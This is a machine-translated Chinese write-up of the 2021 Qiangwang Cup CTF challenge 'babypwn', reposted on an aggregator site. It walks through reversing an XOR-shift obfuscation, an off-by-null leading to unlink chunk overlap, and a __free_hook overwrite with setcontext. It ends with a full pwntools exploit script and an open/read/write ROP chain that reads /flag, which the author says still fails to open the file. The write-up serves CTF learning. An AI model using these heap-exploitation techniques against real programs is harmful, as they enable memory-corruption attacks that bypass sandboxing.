当前位置:网站首页>Analysis of strong tennis cup 2021 PWN competition -- babypwn

Analysis of strong tennis cup 2021 PWN competition -- babypwn

2022-07-27 07:04:00 L3H_ CoLin

Sandbox mechanism is added to this problem , adopt seccomp-tools You can easily get the specific contents of the sandbox .


The key point is to disable execve system call , No direct access one_gadget、system And so on getshell. In this case, the most commonly used way of utilization is set_context function , How to use , To look down .

The reverse analysis of this problem is very simple , Be careful bss Identification of structures in : front 8 Bytes are addresses , after 8 Bytes are size . stay show Function found a simple encryption function :


The calculation of each round is shown in the figure below , The red part is the part that cannot be calculated due to overflow , The result of each round of calculation is equivalent to the result of XOR corresponding to all yellow parts .

So how should this function decrypt ? It is observed that each round of calculation can be divided into 3 Ferry , The last round is a value and its left shift 13 Exclusive or of bit . The second round is another value with its own right shift 17 The XOR of bits gets the initial value of the third round . The first round is the input and the left shift of the input itself 5 The XOR of bits gets the initial value of the second round . It is not difficult to design the decryption algorithm in this way , I believe that readers who know some algorithms can write scripts . The decryption function is as follows :

def get_bits(value, start, end):
    return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
    for i in range(2):
        low13 = get_bits(value, 0, 13)
        mid13 = get_bits(value, 13, 26)
        mid13 ^= low13
        high6 = get_bits(value, 26, 32)
        high6 ^= get_bits(mid13, 0, 6)
        value = low13 + (mid13 << 13) + (high6 << 26)

        high17 = get_bits(value, 15, 32)
        low15 = get_bits(value, 0, 15)
        low15 ^= get_bits(high17, 2, 17)
        value = low15 + (high17 << 15)

        first5 = get_bits(value, 0, 5)
        second5 = get_bits(value, 5, 10)
        second5 ^= first5
        third5 = get_bits(value, 10, 15)
        third5 ^= second5
        fourth5 = get_bits(value, 15, 20)
        fourth5 ^= third5
        fifth5 = get_bits(value, 20, 25)
        fifth5 ^= fourth5
        sixth5 = get_bits(value, 25, 30)
        sixth5 ^= fifth5
        last2 = get_bits(value, 30, 32)
        last2 ^= get_bits(sixth5, 0, 2)
        value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
            (fifth5 << 20) + (sixth5 << 25) + (last2 << 30)

    return value

adopt show function , We can get the address of the heap block . But here's the thing ,show The function encrypts the address of the heap block itself , But in front of the pile 8 Byte value . Through debugging, we can find , Called during program initialization seccomp A series of functions will apply for some heap blocks , By applying for these stacking blocks, we may make the front of the stacking block 8 Byte is a heap block address , To get the heap address .

Topic libc The environment is 2.27 edition , There is a chance to rewrite the hook to setcontext function 【 Insert a sentence : In the author's 2.31 edition libc in ,setcontext The stack migration instruction of the function is from mov rsp, [rdi+0xA0] Has been changed to mov rsp,[rdx+0xA0], This makes the topic in 2.31 Not available in environment , Because I can't control it when I get here rdx Value 】. spontaneously , It's easy for us to think of using unlink The use of stack overlap . stay chunk Write a false chunk, On vacation chunk Of prev_size Write this chunk The address of , And then fd and bk The pointer writes to the appropriate position , Can trigger unlink. And the same year easy_diary comparison , It is less difficult to use .


There's a little bit of caution here edit A seemingly strange function in the function . This function is in the read Then call , Will appear first ’\x11’ Replace the character with 0x0. At first glance , This character is not the end of the string , But then I thought , It is not difficult to find that this is what the author is creating for us off by null Conditions :'\x11’ It's probably some chunk Of size The lowest 1 byte . This feature can be used to modify chunk The size and prev_inuse position . because chunk The size of has been modified , So here chunk The last side of the need to write a valid size value , The lowest is 1, To bypass the check .

In success unlink after , You can use heap block overlap to modify tcache chunk Of fd The pointer goes to __free_hook. Rewrite it to setcontext Stack migration can be realized internally . Then construct ROP chain , Open file 、 Reading documents 、 Writing data . On the author's machine , Debugging will rdx Change to and rdi The value of is equal to realize stack migration , But somehow open flag Files always fail .

exp:( be based on 20.04, And it needs debugging and modification rdx Value )

from pwn import *

context(arch='amd64', log_level='debug')

io = process('./babypwn')
# io = process(['../../../../ld/ld-2.27.so', './babypwn'], env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# libc = ELF('./libc.so.6')

def add(size):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'size:', str(size).encode())


def delete(index):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'index:', str(index).encode())


def edit(index, content):
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'index:', str(index).encode())
    io.sendafter(b'content:', content)


def show(index):
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'index:\n', str(index).encode())
    lodword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
    lodword = decrypt(lodword)
    hidword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
    hidword = decrypt(hidword)
    return lodword + (hidword << 32)

def get_bits(value, start, end):
    return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
    for i in range(2):
        low13 = get_bits(value, 0, 13)
        mid13 = get_bits(value, 13, 26)
        mid13 ^= low13
        high6 = get_bits(value, 26, 32)
        high6 ^= get_bits(mid13, 0, 6)
        value = low13 + (mid13 << 13) + (high6 << 26)

        high17 = get_bits(value, 15, 32)
        low15 = get_bits(value, 0, 15)
        low15 ^= get_bits(high17, 2, 17)
        value = low15 + (high17 << 15)

        first5 = get_bits(value, 0, 5)
        second5 = get_bits(value, 5, 10)
        second5 ^= first5
        third5 = get_bits(value, 10, 15)
        third5 ^= second5
        fourth5 = get_bits(value, 15, 20)
        fourth5 ^= third5
        fifth5 = get_bits(value, 20, 25)
        fifth5 ^= fourth5
        sixth5 = get_bits(value, 25, 30)
        sixth5 ^= fifth5
        last2 = get_bits(value, 30, 32)
        last2 ^= get_bits(sixth5, 0, 2)
        value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
            (fifth5 << 20) + (sixth5 << 25) + (last2 << 30)
    return value

add(100)                            # chunk 0, used for leaking address
chunk0_addr = show(0)
print(hex(chunk0_addr))
add(0x100)                          # chunk #1
for i in range(7):
    add(0xF0)                       # chunk #2~8
chunk1_addr = chunk0_addr + 0x400

payload = p64(chunk1_addr + 0x10)
payload += p64(0x810 + 0x30 - 0x10)
payload += p64(chunk1_addr - 0x8)
payload += p64(chunk1_addr)
payload += p64(0)
edit(1, payload)

add(0x28)                           # chunk #9
add(0x100)                          # chunk #10
add(0x20)                           # chunk #11, goalkeeper
edit(9, cyclic(0x28))               # this can change the chunk #9's size from 0x511 to 0x500
edit(9, cyclic(0x20) + p64(0x810 + 0x30 - 0x10))        # write correct prev_size
edit(10, cyclic(0xF0) + p64(0) + p64(0x41))

for i in range(7):
    delete(8 - i)                   # delete chunk #2~8
delete(10)

for i in range(2):
    add(0xF0)                       # recover chunk #1, 2
add(0xF0 + 0x100)                   # recover chunk #3
main_arena = show(3) - 96
print(hex(main_arena))
__malloc_hook = main_arena - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
setcontext = base + libc.symbols['setcontext']
openfile = base + libc.symbols['open']
readfile = base + libc.symbols['read']
writefile = base + libc.symbols['write']
poprdi_ret = base + 0x23B6A
poprsi_ret = base + 0x2601F
poprdx_ret = base + 0x142C92
addrsp0x18_ret = base + 0x349ea

add(0xF0 + 0x100)                   # chunk #5
edit(5, cyclic(0xF0) + p64(0) + p64(0x101) + p64(__free_hook))
add(0xF0)                           # chunk #6
add(0xF0)                           # chunk #7, to __free_hook
edit(7, p64(setcontext + 0x3D))     # change __free_hook to setcontext + 0x3D, ready for stack pivoting

add(0xF0 + 0x100)                   # chunk #8
chunk8_addr = chunk1_addr + 0x410

ROP = b'/flag'.ljust(0x30, b'\x00')     # 0x0
ROP += p64(chunk8_addr + 0x10)          # 0x30
ROP += p64(poprsi_ret)                  # 0x38
ROP += p64(2)                           # 0x40
ROP += p64(openfile)                    # 0x48
ROP += p64(poprdi_ret)                  # 0x50
ROP += p64(3)                           # 0x58
ROP += p64(poprsi_ret)                  # 0x60
ROP += p64(chunk8_addr + 0xF0)          # 0x68
ROP += p64(poprdx_ret)                  # 0x70
ROP += p64(0x30)                        # 0x78
ROP += p64(readfile)                    # 0x80
ROP += p64(poprdi_ret)                  # 0x88
ROP += p64(1)                           # 0x90
ROP += p64(addrsp0x18_ret)              # 0x98
ROP += p64(chunk8_addr + 0x40)          # 0xA0
ROP += p64(poprdi_ret)                  # 0xA8
ROP += p64(0xdeadbeef)                  # 0xB0
ROP += p64(poprsi_ret)                  # 0xB8
ROP += p64(chunk8_addr + 0xF0)          # 0xC0
ROP += p64(poprdx_ret)                  # 0xC8
ROP += p64(0x30)                        # 0xD0
ROP += p64(writefile)                   # 0xD8
edit(8, ROP)
gdb.attach(io)
time.sleep(5)
delete(8)

io.interactive()
原网站

版权声明
本文为[L3H_ CoLin]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/208/202207270534345602.html